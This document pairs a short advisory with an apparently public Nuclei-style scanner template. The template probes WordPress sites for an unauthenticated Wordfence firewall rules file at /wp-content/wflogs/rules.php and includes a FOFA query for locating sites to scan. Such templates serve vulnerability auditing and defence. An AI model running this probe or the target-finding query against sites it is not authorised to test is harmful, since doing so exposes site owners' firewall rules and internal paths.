The Wordfence Security plugin for WordPress stores configuration files in the /wp-content/wflogs/ directory. These files may be accessible without authentication and can expose sensitive configuration data, firewall rules, attack logs, and internal paths.
PoC代码[已公开]
id: wordfence-rules-disclosure
info:
name: WordPress Wordfence - Rules File Disclosure
author: ritikchaddha
severity: medium
description: |
The Wordfence Security plugin for WordPress stores configuration files in the /wp-content/wflogs/ directory. These files may be accessible without authentication and can expose sensitive configuration data, firewall rules, attack logs, and internal paths.
reference:
- https://wordpress.org/support/topic/files-created-in-wflogs-before-plugin-activated/
- https://forum.ait-pro.com/forums/topic/wordfence-firewall-wp-contentwflogsconfig-php-file-quarantined/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cwe-id: CWE-200
metadata:
max-request: 1
verified: true
fofa-query: body="/plugins/wordfence"
tags: wordpress,wp-plugin,wordfence,rules,disclosure,exposure
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/wflogs/rules.php"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "wfWAFrule"
- "$this"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022052a72b463302339c60b0251a41d876e57837749b1078dcf7d19d920119432819022100ae1c0710398c8c12395264ddaa1953a4d0628991f88daf778e23cf583462e137:922c64590222798bb761d5b6d8e72950